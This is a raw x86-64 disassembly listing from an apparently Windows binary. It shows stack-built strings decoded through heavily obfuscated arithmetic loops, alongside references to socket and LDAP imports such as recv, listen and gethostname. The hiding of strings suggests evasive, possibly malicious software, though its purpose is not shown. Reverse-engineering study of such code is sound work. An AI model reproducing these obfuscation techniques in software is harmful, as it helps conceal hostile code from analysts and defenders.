add r12, rax
inc r12
movabs r14, 0xfb8101d2f1e221aa
movabs r15, 0xf5825996df0fa3e2
jmp 0x1400f35f3
sub r10b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
jmp 0x1400f35f0
sub r10b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f35d4
lea rdx, [rbp + 0x164dfe8]
jmp 0x1400f3e32
lea rdx, [rbp + 0x704076]
jmp 0x1400f3e32
lea rdx, [rbp + 0x80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f3e50
lea rcx, [rbp + 0x120]
call fcn.140047180
nop
mov r8d, 0x4e00
lea rdx, [0x1402d2790]
lea rcx, [rbp + 0x120]
call fcn.14011c330
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x1400f3ec5
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f3ec0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f3ec0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14025c5a8
movdqa xmm0, xmmword [0x1402a9860]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
mov dword [rbp + 0x50], 0x5c65acb8
mov dword [rbp + 0x54], 0x5b5a583f
mov dword [rbp + 0x58], 0x36332614
mov dword [rbp + 0x5c], 0x53573318
mov dword [rbp + 0x60], 0x42743659
mov dword [rbp + 0x64], 0x7f433346
mov dword [rbp + 0x68], 0x21390541
mov byte [rbp + 0x6c], 0xe8
xor eax, eax
mov dword [rbp + 0x6d], eax
mov byte [rbp + 0x71], al
movabs r14, 0x783a2869a11fea7e
movabs r12, 0x49971ae367df6972
movabs r15, 0x68ae793ce35fbf7a
movzx edi, byte [rbp + 0x1f0]
nop
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x22
jae 0x1400f4a8a
movzx r10d, byte [rbp + r11 + 0x50]
mov esi, r10d
cmp rbx, r11
ja 0x1400f4a81
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f3f92
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x72
jmp 0x1400f3fbf
je 0x1400f4a15
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f4992
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f4936
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f48ef
movzx r9d, r11b
cmp r8, r11
ja 0x1400f4a78
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x1400f3fed
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x1400f4021
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f48d3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f48b0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f4890
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f4870
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f457e
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400f455f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f4536
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400f4510
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400f4502
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400f44e2
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400f44c5
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400f44aa
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400f448d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400f4461
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f4030
lea rbx, [r8 + 0x61]
lea r8, [rbx + 6]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400f4a5b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400f4a3e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400f421b
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400f4200
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400f41e1
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400f4414
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400f43c7
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400f4387
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400f4362
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400f4030
lea rbx, [r8 + 0x28]
lea r8, [rbx + 6]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400f4333
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400f4313
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400f42f8
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400f42db
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400f42be
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400f42a3
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400f4280
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400f4257
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400f4238
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400f4030
lea rbx, [r8 + 0x28]
lea r8, [rbx + 6]
jmp 0x1400f4030
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4021
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x1400f3fc3
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x1400f3f66
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4909
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f3f53
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
dec r11
inc r11
jmp 0x1400f3f53
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400f4954
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x1400f4976
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x1400f4979
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x1400f49ab
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f49d6
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x1400f3f53
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0xa
jb 0x1400f437a
lea edx, [r9 + 0x34]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400f4909
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0xa
jae 0x1400f4832
lea rax, [r8 + 3]
cmp rbx, rax
jbe 0x1400f4751
lea edx, [r9 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400f43a1
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x1400f484e
lea rax, [r8 + 3]
cmp rbx, rax
jbe 0x1400f467a
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x1400f43e1
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x1400f49d6
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x1400f49ab
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400f4979
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f4976
lea edx, [r9 + 0x18]
mov ecx, Ordinal_46
jmp 0x1400f4943
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f3f53
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f3f53
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4909
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x1400f45a2
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x1400f442e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f45da
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f45fe
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x1400f49ab
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f4622
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400f4954
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f464e
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
dec r11
inc r11
jmp 0x1400f3f53
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f442e
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4909
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f469e
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x1400f4909
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f46c7
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f4976
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f46f0
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f4979
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f4718
lea edx, [r9 - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x1400f49ab
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f43e1
sub r9b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f4786
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f47af
add r9b, 0x48
movzx eax, r10b
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f4976
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f47d7
lea edx, [r9 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400f4954
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f4806
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400f3f53
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f43a1
lea edx, [r9 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400f4909
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
jmp 0x1400f494e
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x34
add dil, dl
jmp 0x1400f49ab
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7a
add dil, r9b
jmp 0x1400f49d6
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f4976
add r9b, 0x4a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 6
dec r11
inc r11
jmp 0x1400f3f53
lea edx, [r9 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3e
add dil, dl
jmp 0x1400f4909
movzx r9d, r11b
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
sub r9b, 0x4e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x50], cl
inc r8
dec r11
inc r11
jmp 0x1400f3f53
movzx r9d, r11b
lea edx, [r9 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x50], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f3f53
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x1e
movzx r9d, r11b
sub r9b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + r11 + 0x50], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x56
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f3f53
add r9b, 0x76
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3a
jmp 0x1400f3f50
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x56
jmp 0x1400f3f40
lea rdx, [rbp + 0x1718cf8]
jmp 0x1400f4a8e
lea rdx, [rbp + 0x517776]
jmp 0x1400f4a8e
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x160]
call fcn.140046ad0
mov rcx, rax
call fcn.1400f2770
mov dword [rsp + 0x20], 0x949ebb83
mov dword [rsp + 0x24], 0x68626b6d
mov dword [rsp + 0x28], 0x98967a7f
mov dword [rsp + 0x2c], 0x6a7a7e75
mov dword [rsp + 0x30], 0x8fa0a27d
mov dword [rsp + 0x34], 0x617f6770
mov dword [rsp + 0x38], 0x87696b7d
mov dword [rsp + 0x3c], 0x6f6e7c71
mov dword [rsp + 0x40], 0x864c9385
mov word [rsp + 0x44], 0x809c
mov byte [rsp + 0x46], Ordinal_41
xor eax, eax
mov qword [rsp + 0x47], rax
mov byte [rsp + 0x4f], al
movabs r14, 0x71e3f48348a63860
movabs r12, 0x1d3baf96fc8b8aa0
movabs r15, 0x55abdd89d9f2a920
movzx edi, byte [rbp + 0x1f0]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x30
jae 0x1400f553f
movzx r10d, byte [rsp + r11 + 0x20]
mov esi, r10d
cmp rbx, r11
ja 0x1400f5536
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f4b82
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x60
jmp 0x1400f4baf
je 0x1400f54c4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f5439
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f53e1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f5399
movzx r9d, r11b
cmp r8, r11
ja 0x1400f552d
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x1400f4bdd
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400f4c20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f51f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f521b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f53e5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f537c
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400f5350
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f5124
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400f5116
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f50f8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f50d5
lea rcx, [r8 + 0x10]
cmp rbx, rcx
je 0x1400f51a8
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400f50b5
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400f518a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400f509a
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400f507d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400f504e
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400f4c30
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x1400f550d
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x1400f54f0
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x1400f4e27
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x1400f4e08
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400f4de9
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x1400f5005
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x1400f4fbd
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400f4f7f
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x1400f4f57
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x1400f4c30
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400f4f33
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400f4f16
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400f4ef8
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400f4ed8
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400f4ec3
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400f4ea8
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400f4e85
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400f4e5c
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400f4e44
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400f4c30
lea rbx, [r8 + 1]
lea r8, [rbx + 0x1000]
jmp 0x1400f4c30
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4c20
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f4bb3
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x1400f4b56
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x1400f53b7
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f4b43
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x1400f4b43
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400f53fb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x1400f541d
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f5420
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x1400f5457
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x1400f5482
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rsp + r11 + 0x20], dil
inc r11
jmp 0x1400f4b43
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 8
jb 0x1400f4f72
lea ecx, [r9 + 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 + 0x80]
jmp 0x1400f53b7
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
cmp rbx, 0x80
jae 0x1400f531f
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400f527b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400f4f99
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x1400f533a
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400f51ee
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400f4fd3
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400f5482
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400f5457
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f541d
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x1400f4b43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc r8
dec r11
inc r11
jmp 0x1400f4b43
lea edx, [r9 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400f53a6
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x1400f514c
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f501b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f5181
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f519f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x1400f5420
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f51c6
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
